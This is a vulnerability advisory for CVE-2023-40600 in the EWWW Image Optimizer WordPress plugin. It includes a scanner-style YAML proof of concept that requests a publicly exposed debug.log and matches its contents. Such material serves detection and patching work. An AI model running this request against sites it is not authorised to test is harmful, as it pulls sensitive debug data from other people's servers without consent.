CVE-2023-40600: EWWW Image Optimizer <= 7.2.0 - Unauthenticated Information Disclosure

2026-02-24 EWWW Image Optimizer PoC Public

Description

The EWWW Image Optimizer plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 7.2.0 via the debug_log function. This makes it possible for unauthenticated attackers to extract sensitive debug data when debug logging is enabled.

PoC

id: CVE-2023-40600

info:
  name: EWWW Image Optimizer <= 7.2.0 - Unauthenticated Information Disclosure
  author: Shivam Kamboj
  severity: medium
  description: |
    The EWWW Image Optimizer plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 7.2.0 via the debug_log function. This makes it possible for unauthenticated attackers to extract sensitive debug data when debug logging is enabled.
  impact:
    Attackers can access sensitive embedded data, potentially leading to information disclosure and further exploitation.
  remediation:
    Remove debug information and update to the latest version of EWWW Image Optimizer.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40600
    - https://patchstack.com/database/wordpress/plugin/ewww-image-optimizer/vulnerability/wordpress-ewww-image-optimizer-plugin-7-2-0-sensitive-data-exposure-vulnerability
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ewww-image-optimizer/ewww-image-optimizer-720-unauthenticated-sensitive-information-exposure-via-debug-log
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2023,wp,wordpress,wp-plugin,ewww-image-optimizer,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/ewww/debug.log"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "ewww_image_optimizer","__construct()")'
        condition: and
# digest: 4a0a00473045022100f081fe88954782b22420244733720ec76bcc72f13270afb18b397dee6a651107022044105d9849b1cc36e727f665e911f62b0cb62e96c74e400c24eee8518e28f89e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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